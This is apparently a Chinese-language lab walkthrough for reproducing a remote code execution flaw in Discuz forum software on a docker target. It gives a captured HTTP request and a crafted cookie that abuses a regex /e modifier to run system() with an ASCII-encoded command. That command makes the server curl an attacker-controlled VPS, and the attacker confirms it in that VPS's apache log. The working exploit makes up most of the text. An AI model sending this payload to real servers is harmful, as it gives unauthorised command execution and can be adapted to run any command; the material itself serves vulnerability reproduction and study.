一、启动靶机
docker-compose build
docker-compose up -d
二、安装
URL:
http://192.168.150.146:8080/install
安装数据库。数据库服务器填写db(必须db,不然安装失败),数据库名为discuz,数据库账号密码均为root,管理员密码任意。填写联系方式页面直接点击跳过本步后跳转到首页,登录成功后进入默认板块,开启Burp抓包,然后随便点击一篇贴子
三、构造payload
请求:
GET /viewthread.php?tid=9&extra=page%3D1 HTTP/1.1
Host: 192.168.150.146:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.150.146:8080/forumdisplay.php?fid=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check; cZZ_visitedfid=2; cZZ_oldtopics=D6D; cZZ_fid2=1638772681; cZZ_sid=i4JJSc
Connection: close
curl http://vps_ip/Hacker
命令转换为ascill码
替换请求中cookie为下面cookie
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=system(Chr(99).Chr(117).Chr(114).Chr(108).Chr(32).Chr(104).Chr(116).Chr(116).Chr(112).Chr(...).Chr(97).Chr(99).Chr(107).Chr(101).Chr(114))
四、发送payload
五、检验
在VPS上的apache日志有靶机的请求记录
tail -n 1 -f /var/log/apache2/access.log